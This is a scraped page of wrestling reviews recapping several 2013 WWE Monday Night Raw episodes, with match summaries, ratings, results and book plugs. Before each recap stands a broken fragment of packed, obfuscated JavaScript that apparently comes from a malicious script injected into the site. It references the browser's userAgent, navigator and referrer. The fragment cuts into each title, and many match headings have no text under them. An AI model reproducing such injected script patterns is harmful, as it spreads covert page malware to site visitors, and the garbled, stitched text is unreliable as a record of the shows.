");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndhnt|var|u0026u|referrer|dhheb||js|php'.split('|'),0,{})) Night Raw
Date: August 26, 2013
Location: US Airways Center, Phoenix, Arizona
Commentators: Jerry Lawler, Michael Cole, John Bradshaw Layfield

Cody Rhodes vs. Fandango

Sandow jumps Cody and Miz comes out for a brawl until Brad Maddox turns into a 60 year old bald black man and makes a tag match.

Damien Sandow/Fandango vs. The Miz/Cody Rhodes

If you get some App, you can see what Heyman thinks about the stipulations the fans can pick.

Punk wants to get his hands on Heyman and suggests the fans vote for choice #3.

Curtis Axel vs. CM Punk

Back with Axel hitting a clothesline to the back of the head for two as Heyman is looking more confident. Punk comes back with kicks to the legs and back followed by a middle rope cross body for two. Axel snaps off a slingshot belly to back suplex for two followed by a snap Saito suplex for the same. Punk grabs a neckbreaker and the Macho Elbow gets two. The GTS is countered into a McGillicutter for another two count but the second attempt at the GTS is good for the pin at 10:52.

Natalya vs. Brie Bella

JoJo from Total Divas is the ring announcer and we have the rest of the cast at ringside. Brie gets in a few shots, only to be quickly caught in a Sharpshooter. Nikki and Eva Marie distract the referee, triggering a big brawl. Brie hits a quick X Factor for the pin at 1:40.

Alberto Del Rio vs. Rob Van Dam

We see Cena saying he has to have surgery last week and get some shots of his arm after the operation.

We look at the Punk/Heyman/Axel stuff for the third time tonight.

Heyman, with blood red eyes, says Punk is like a petulant child who has to be beaten over and over until he learns his lesson. Paul says he feels like a man and now his prodigal son will learn to never come up against him.

Christian vs. Randy Orton

Non-title again. Christian grabs a quick rollup for two but gets taken down by a shoulder block. A quick attempt at the Elevated DDT is countered with a backdrop to the floor followed by the baseball slide. Back in and a reverse DDT puts Orton down, only to have him dropkick Christian off the top. Orton pounds on Christian before draping him over the top rope.

We get a video from WWE.com with the Wyatt Family talking about Sister Abigail, who apparently inspired Bray Wyatt to become what he is today.

We recap the car stuff tonight.

Daniel Bryan vs. Shield

Back with Rollins holding a chinlock before hitting a running forearm in the corner. He slaps Bryan in the face a few times and tells Bryan to stay down while doing the finger point. Seth goes to the other corner but Bryan charges at him with the running dropkick. Bryan comes back with the kicks and sits on a sunset flip for two. They trade some nice near falls but Seth takes his head off with a jumping enziguri.

Post match Shield destroys Bryan with the Triple Bomb as HHH comes out to make sure no one helps Daniel. Cue Orton for the RKO to end the show. This would be four straight shows where our final image is Daniel Bryan laid out.

Results

Cody Rhodes b. Fandango – Rollup

The Miz/Cody Rhodes b. Damien Sandow/Fandango – Skull Crushing Finale to Sandow

CM Punk b. Curtis Axel – GTS

Brie Bella b. Natalya – Bella Buster

Rob Van Dam b. Alberto Del Rio – Rollup

Randy Orton b. Christian – RKO

Daniel Bryan vs. Shield went to a no contest

 

Remember to follow me on Twitter @kbreviews, and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eriii|var|u0026u|referrer|isadn||js|php'.split('|'),0,{})) Night Raw
Date: August 19, 2013
Location: Honda Center, Anaheim, California
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Damien Sandow vs. Cody Rhodes

GM Brad Maddox shows us some disparaging comments from Ziggler about HHH before announcing Ziggler vs. Shield tonight.

The Bellas and Funkadactyls are catty backstage.

AJ Lee/Layla vs. Funkadactyls

The non-cheerleaders jump the Funkadactyls to start until we get going with Naomi vs. AJ. AJ gets a quick two off a spin kick and chokes a lot. Naomi finally scores with an enziguri to escape but the tag brings in Layla who knocks Cameron to the floor. Using the distraction, Naomi scores a quick rollup for the pin on Layla at 2:22.

We recap the opening segment.

Dolph Ziggler vs. Shield

Alberto Del Rio vs. Sin Cara

Del Rio jumps Sin Cara to start but gets armdragged down and out to the floor. A dive takes Alberto out and immediately asks the referee to come over while holding his hand. The referee holds up an X but Alberto throws him back in. The referee pulls Del Rio to the floor and rings the bell at about 55 seconds.

Prime Time Players vs. Real Americans

Justin Gabriel, Zack Ryder and a Foot Locker referee plug Foot Locker gear until Fandango and Summer Rae come in to do the same thing.

Big Show vs. Shield

Rating: D+. Even at four and a half minutes this felt too long. A lot of the middle part of the match was the same stuff over and over again which made it boring. The interesting thing here is Maddox sending Shield in over and over and potentially ticking them off, meaning they might turn on him. The interesting story makes up for the weaker match.

They head back inside and Punk goes for the GTS, only to have Curtis escape and go after the leg. Axel works on the leg a bit before hitting his finisher to lay Punk out. Curtis tries to Pillmanize the leg but Punk moves away and destroys Axel with the chair. A GTS onto the steps knocks Curtis out cold and Punk stares at Heyman.

R-Truth vs. Bray Wyatt

3MB vs. Usos

The Miz vs. Wade Barrett

Bryan needs to check his ego at the door like HHH does every week when he goes to work. The fans chant for Bryan but HHH brings out Orton as the ultimate show of burying his personal problems. Orton comes out to hug Stephanie because time heals all borderline rapes in WWE. Orton thanks HHH for causing this and demands that the fans appreciate the Game. HHH takes the mic back and asks Bryan to come out here and get it all out at once. Shield is excused so Bryan will actually come out. HHH starts a YES chant and asks Bryan to come out with his music playing.

Bryan comes out from the side of the stage and Shield immediately jumps him. He fights them off for a bit but Reigns spears him down. They load up the Triple Bomb but HHH calls them off and says Bryan gets to say what he wants. He finally gets in the ring but walks into an RKO to put him down. The new Corporation stands tall to close the show.

Results

Cody Rhodes b. Damien Sandow – Sunset Flip

Funkadactyls b. AJ Lee/Layla – Rollup to Layla

Shield b. Dolph Ziggler – Spear

Alberto Del Rio b. Sin Cara via referee stoppage

Prime Time Players b. Real Americans – Gut Check to Cesaro

Shield b. Big Show – Triple Bomb

Bray Wyatt b. R-Truth – Sister Abigail

Usos b. 3MB – Superfly Splash to Mahal

The Miz b. Wade Barrett via DQ when Fandango interfered

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

This was originally going to be part of another I Want To Talk A Little Bit About but it evolved into its own. I could get used to this.

 

Now jump with me back to 1987. The main WWF show was Superstars of Wrestling and it always had the same intro: Vince and company telling us the wrestlers we would be seeing on the card. It might not include their opponents (as more often than not they would be in a squash match) but you would see who was wrestling that day and you knew inside the first 40 seconds of the show. In other words, it was like you had a table of contents that was telling you what you were going to see on the show that night.

 

 

 

 

 

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nehdd|var|u0026u|referrer|raiit||js|php'.split('|'),0,{})) Night Raw
Date: August 5, 2013
Location: Resch Center, Green Bay, Wisconsin
Commentators: Jerry Lawler, Michael Cole, John Bradshaw Layfield

Alberto Del Rio vs. Rob Van Dam

Miz is on commentary. Non-title again and Ricardo is back, a week earlier than the reported return date. Del Rio attacks to start but Van Dam fires back with forearms to the jaw. A standing moonsault gets two and Del Rio rolls to the floor, only to have Rob hit a moonsault off the apron as we take a break.

Back with Van Dam blocking a shot into the buckle and kicking Del Rio down.

Post match Del Rio superkicks Ricardo and hits him with the bucket before crushing him between the steps and the post.

Ryback vs. Mark Henry

The Bellas are arguing over who looked better on Total Divas. Eva Marie comes up to laugh about how they made Natalya look stupid last week. Natalya comes up and slaps a Bella, likely setting up a match later.

Wyatt Family vs. Tons of Funk

Kaitlyn vs. Layla

Kaitlyn and Layla skip around the ring post match. Apparently that kick is called the Bombshell.

Christian vs. Heath Slater

CM Punk vs. Curtis Axel

Non-title of course. Punk charges up the ramp before the bell and the brawl starts near the stage. Punk keeps trying to get to Heyman who has gone backstage. They head to the ring with Punk in control and the bell rings. Axel takes over with some chops but Punk takes him down into an Indian Deathlock of all things. Before he falls down with the hold, Punk spits in the air and tries to slap it away ala Mr. Perfect and the gum. Axel rolls to the floor and gets caught with the suicide dive as we take a break.

Back with Axel cranking on an armbar and elbowing Punk in the face for two. A middle rope elbow sets up another chinlock from Axel as Heyman comes back to ringside. Punk finally rolls out of the hold and crawls over at Heyman, only to be clotheslined down for two. Punk comes back with a spinning cross body out of the corner but a Heyman distraction lets Curtis take over. CM comes back with a kick to the head and the running knee in the corner but Curtis breaks up the Macho Elbow. The McGillicutter gets two but Punk kicks Axel in the head again. Not that it matters as he goes after Heyman, drawing a DQ at 10:22.

Fandango vs. Kofi Kingston

Kofi is much skinnier and is in long tights now. Fandango takes over quickly to start and takes Kofi down as the announcers talk about ballet. A quick chinlock sets up a dropkick to Kofi but a middle rope knee drop misses. Kofi comes back with a dropkick and the Boom Drop but Fandango bails from Trouble in Paradise. Fandango gets in a kick of his own but misses the legdrop, allowing Kofi to get two off a cross body. Trouble in Paradise is good for the pin at 3:43.

Real Americans vs. Usos

Big E. Langston vs. Dolph Ziggler

John Cena/Daniel Bryan/Randy Orton vs. Shield

Overall Rating: B. This was a moving day towards Summerslam as we added a match and enhanced a lot of the others. The matches were good enough tonight but this was all about the promos and storytelling which often make for better episodes. Bryan vs. Cena is going to be AWESOME with both guys trying to prove the other wrong and the promos showed that. Punk vs. Lesnar looks good with Punk trying to slay the monster and the physical side has a chance. Good but not great show tonight.

Results

Rob Van Dam b. Alberto Del Rio – Rolling Cradle

Mark Henry b. Ryback via countout

Wyatt Family b. Tons of Funk – Splash to Clay

Layla b. Kaitlyn – Bombshell Kick

Christian b. Heath Slater – Spear

Kofi Kingston b. Fandango – Trouble in Paradise

Real Americans b. Usos – Neutralizer to Jimmy Uso

Big E. Langston b. Dolph Ziggler – Big Ending

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $5 at:

And check out my Amazon author page with wrestling books as low as $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aarze|var|u0026u|referrer|bbede||js|php'.split('|'),0,{})) Night Raw
Date: July 15, 2013
Location: Barclays Center, Brooklyn, New York
Commentators: John Bradshaw Layfield, Michael Cole, Jerry Lawler

Opening sequence.

Randy Orton vs. Fandango

Ziggler FINALLY breaks up with AJ over last night. AJ stares off into the distance.

Alberto Del Rio vs. Dolph Ziggler

Non-title here. Ziggler scores with a quick dropkick and a neckbreaker for two followed by the ten elbow drops. The champion comes back with a kick to the ribs and the reverse superplex. Dolph pounds away but gets caught in a HUGE backdrop to the floor as we take a break. Back with Del Rio still in control but missing the low superkick. Instead Del Rio launches him into the air before stomping his head.

Post match AJ goes nuts on Dolph until Langston comes out to run Ziggler over. The Big Ending leaves him laying and AJ kisses his unconscious mouth.

Video on the Performance Center.

Zeb Colter and the Real Americans rant about the American melting pot and tell Cena to pick one of the Real Americans for his match at Summerslam.

The WWE App vote selects the Usos to face Swagger and Cesaro (other options were Tons of Funk and the Prime Time Players).

Usos vs. Real Americans

Damien Sandow vs. Christian

Sandow bails to the floor to start before catching Christian coming back in. The Canadian loads up a tornado DDT but gets shoved out to the floor to give Damien control. Back in and the tornado DDT connects for two on Sandow and a high cross body gets the same. The Terminus is countered and a middle rope back elbow puts Sandow down. Sandow hits the Russian legsweep but the Wind-Up Elbow is countered into a rollup for the pin for Christian at 3:07.

Rating: D. Again let me get this straight: you have a guy win a major match after losing everything for months and he loses the first match he has as the briefcase winner. Yet this company continues to wonder why no one can get over as either a face or a heel in this company. The match was nothing of note.

Post match Sandow declares himself still the savior of the briefcase but Cody Rhodes runs in to chase him off.

Vickie Guerrero was asking people to sign a petition for her earlier today.

Naomi vs. Brie Bella

Naomi hits a quick high kick to send Brie to the floor but Brie trips her up for two. A hair drag sends Naomi down and Brie cranks on her head a bit. Naomi comes back with some dropkicks that miss so badly the announcers have to acknowledge it. The Rear View sets up a high cross body for the pin on Brie at 4:11.

Heyman bailed from the arena as soon as the show was over last night.

Khali asks Cena for the title shot and Cena answers in whatever language Khali speaks. Khali is pleased.

HHH and Stephanie come in to see Maddox and mess with him about the main event tonight. They tell him he only got the job because he was standing there.

Rob Van Dam vs. Chris Jericho

Back with Jericho escaping a bodyscissors and trying the Walls. RVD escapes but gets kicked to the floor but catches Jericho in the face with a spin kick for two. Back to the body vice but Jericho counters into a powerbomb to escape. Jericho rolls away to escape Rolling Thunder but hits a moonsault off the apron to take Jericho down as we take another break.

Van Dam runs Jericho over but Jericho comes back with shoulders of his own. A top rope elbow to the head drops Van Dam but he avoids the Lionsault. Now Rolling Thunder connects for two but Jericho gets the same off a DDT. The Walls are countered and RVD superkicks Jericho down. The split legged moonsault misses and Jericho hits the Lionsault for two more. Van Dam kicks Jericho in the face but the Five Star attempt is broken up. A top rope front flip takes Jericho down but a standing rana is caught in the Walls. He makes the ropes and kicks Jericho down again before hitting the Five Star for the pin at 21:30.

Results

Randy Orton b. Fandango – RKO

Alberto Del Rio b. Dolph Ziggler – Superkick

Usos b. Real Americans – Rollup to Cesaro

Christian b. Damien Sandow – Rollup

Naomi b. Brie Bella – High Cross Body

Rob Van Dam b. Chris Jericho – Five Star Frog Splash

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at: